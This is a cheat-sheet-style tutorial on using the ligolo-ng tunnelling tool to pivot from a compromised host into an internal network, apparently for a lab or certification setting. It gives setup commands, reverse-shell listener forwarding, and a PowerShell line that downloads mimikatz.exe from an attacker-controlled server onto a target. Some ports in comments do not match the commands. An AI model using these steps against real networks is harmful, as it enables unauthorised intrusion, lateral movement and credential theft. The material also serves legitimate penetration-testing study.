Table of Contents
Summery
ligolo-ng creates a new tun interface on your attacker machine and works like a VPN, it works for pivoting, catching reverse shells and transferring files.
Installation
You need to download three files:
- Proxy file -
ligolo-ng_proxy_0.9.1_linux_amd64.tar.gz - Agent file for Windows x64 -
ligolo-ng_agent_0.9.1_windows_amd64.zip - Agent file for Linux x64 -
ligolo-ng_agent_0.9.1_linux_amd64.tar.gz
Proxy file is the one you use on your attack host, the other two are uploaded - depending on their OS - to the pivot hosts.
(I like to rename the default name so they are more descriptive).
Basic setup
On the attack host:
# Add a new tun interface to our machine.
sudo ip tuntap add user kali mode tun ligolo
# Enable the new interface.
sudo ip link set ligolo up
# With the -selfcert flag the tool dynamically generate self-signed certificates.
# Once you run this, the tool will start listening at port 11601 on all interfaces and you will get access to the tool’s command line.
./ligolo-proxy-linux -selfcert -api-laddr 127.0.0.1:8081
# (You can select "no" for the web interface).On the pivot host:
# The IP will be the IP of our Kali VM/attacking machine.
# The -ignore-cert ignores certificate validation. This means we won't have any issues with our self-signed certs.
./ligolo-agent-windows.exe -connect 192.168.49.145:11601 -ignore-certThen in a separate terminal on the attack host:
# Add the internal IP range to our ligolo interface.
sudo ip route add 10.10.126.0/24 dev ligolo
# Double check if it was added correctly. You can do `sudo ip route del` if it was wrong.
ip route listAnd then again in the lingolo:
# Select the session with your conncetion
session
# And start the connection.
# Don't worry if you see 'WARN[0024] Could not add route 10.10.126.0/24: operation not permitted'. It shows, because you already created a route manually.
startReverse shells
To make reverse shells work you can listen to ports on the pivot host and redirect the connections to the attack host where you’re running the proxy.
You can accomplish this easily by the following command inside the ligolo-ng session:
# Creates a listener on the pivot host on port 1234 and redirects the traffic to port 1337 on our machine - you can also use other ports.
listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:1337Important: In order to catch a reverse shell, your payload needs to be directed to the IP and port of the machine where the listener is created.
So not <ATTACK HOST IP>:1337 but <PIVOT HOST IP>:1234. You do however need to start a listener on your attack host on the 1337 port.
Also, remember to use the correct interface on the pivot host. So if you generally used pivot’s external interface ip like 192.168.126.46 but you get a shell from the internal network, use it’s internal network’s ip of 10.10.126.46 etc.
You can use listener_list to see all the listeners that have been added.
File transfer
To transfer files, add another listener in order to keep things separate.
# Listener on the compromised web server at port 1235 forwarding traffic to port 8000.
# You can use any port you like, in our example I'm using port 8000 as it's the default port for a python HTTP server.
listener_add --addr 0.0.0.0:1338 --to 0.0.0.0:1338Similar to the reverse shells, on the target host you specify the pivot’s address and port, not attacker’s.
So you do Invoke-WebRequest -Uri "http://10.10.126.146:1235/mimikatz.exe" -OutFile mimikatz.exe and not Invoke-WebRequest -Uri "http://192.168.45.169:8000/mimikatz.exe" -OutFile mimikatz.exe.
You can use listener_list to see all the listeners that have been added.
Shutdown
To completely remove all taht lingolo-ng runs you can use these:
# Remove the route that was used in lingolo
sudo ip route del 10.10.126.0/24 dev ligolo
# Turn off the lingolo interface
sudo ip link set ligolo down
# Remove the lingolo interface itself
sudo ip tuntap del dev ligolo mode tunLimitations
Ligolo cannot normally reach a service bound only to 127.0.0.1 on the target.
Ligolo sends traffic to the target’s network IP, e.g. 10.10.126.x:8000. A service listening on 127.0.0.1:8000 only accepts connections originating from that machine’s loopback interface.
References
Great guide about it.